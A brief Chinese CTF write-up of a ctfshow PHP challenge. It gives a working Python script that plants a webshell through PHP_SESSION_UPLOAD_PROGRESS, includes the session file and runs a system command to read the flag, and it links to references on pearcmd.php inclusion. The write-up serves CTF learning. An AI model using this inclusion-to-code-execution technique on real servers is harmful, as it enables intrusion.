比赛的时候没做出来,试了伪协议没想到文件包含。
赛后看完wp才明白。
目前,有两种方法,一个是session文件包含。
使用session文件包含:
import requests
url="http://6c53073e-b08b-4a3a-894b-20bf943d8d5f.challenge.ctf.show/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
参看这几位师傅
PHP_SESSION_UPLOAD_PROGRESS,是写入临时文件的内容。 localhost/tmp/sess_ctfshow,是要包含的文件路径。 'PHPSESSID': 'ctfshow',Php会创建一个sess_ctfshow的临时文件,内容就是PHP_SESSION_UPLOAD_PROGRESS。 file://协议包含,localhost/tmp/sess_ctfshow。
设置PHP_SESSION_UPLOAD_PROGRESS,Php会创建一个临时文件在默认目录下面,localhost/tmp/,PHP_SESSION_UPLOAD_PROGRESS将他的值写入到临时文件中。
我们包含它就可以了。
方法2:pearcmd.php文件包含妙用
写贴几个链接:
pearcmd.php文件包含妙用_pearcmd文件包含-CSDN博客
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
[ctfshow 2023元旦水友赛]web题解-CSDN博客
P神讲的很清楚。这里就不过多赘述了。